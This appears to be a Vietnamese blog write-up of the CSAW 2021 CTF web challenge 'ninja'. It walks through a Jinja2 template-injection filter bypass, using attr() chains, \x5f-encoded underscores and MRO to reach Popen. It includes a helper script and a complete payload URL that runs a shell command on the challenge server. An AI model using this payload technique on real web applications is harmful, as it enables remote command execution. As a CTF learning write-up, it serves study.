Skip to main content

Command Palette

Search for a command to run...

csaw21-ctf

Updated
2 min read
csaw21-ctf

ninja

Đầu tiên, khi vào chúng ta có duy nhất một URL dẫn đến một Page. Page này cho phép ta nhập tên và render ra lời chào tới tên đó. Lỗ hổng dễ nhận ra đó là SSTI tương tự bài Templated.

screenshot-from-2021-09-13-01-38-25.png

Cách exploit tương tự bài Templated ở trên tuy nhiên, chúng ta bị filter các keyword cho là nguy hiểm...

screenshot-from-2021-09-11-11-28-20.png

Vậy là chúng ta bị filter _base. Cần tìm được cách bypass được các filter này. Mình tìm được bài này và bài này. Nên chúng ta có các quy tắc thay thế sau:

  • Sử dụng attr() để gọi các attribute của tham số.
  • Các tham số được truyền thông qua | tương tự pipeline.
  • Ký tự _ được thay thế bằng \x5f
  • Khi tham chiếu đến các phần tử thì sử dụng __getitem()__ thay cho [ ]

Và do từ khóa base bị filter nên đương nhiên ta sẽ dùng qua MRO.

screenshot-from-2021-09-11-11-25-24.png

Ở bài Templated thì mình có dùng slice để tìm được class Popen nhanh nhưng ở đây tìm phép thay thế có vẻ mất thời gian nên mình có học theo bài trên medium là dùng Python để tìm index bằng cơm :v

file = open("lol.txt", "r")
    lst = file.read().split(",")
    for index, value in enumerate(lst):
        if value.find("Popen") != -1:
            print(index, value)

Tìm được index rồi thì pass tham số vào thôi!

Payload đầy đủ sẽ như sau

http://web.chal.csaw.io:5000/submit?value={""|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fmro\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")(2)|attr("\x5f\x5fsubclasses\x5f\x5f")()|attr("\x5f\x5fgetitem\x5f\x5f")(258)("cat flag.txt",shell=True,stdout=-1)|attr("communicate")()}}

screenshot-from-2021-09-11-11-26-11.png

113 views

More from this blog

d3s34's blog

8 posts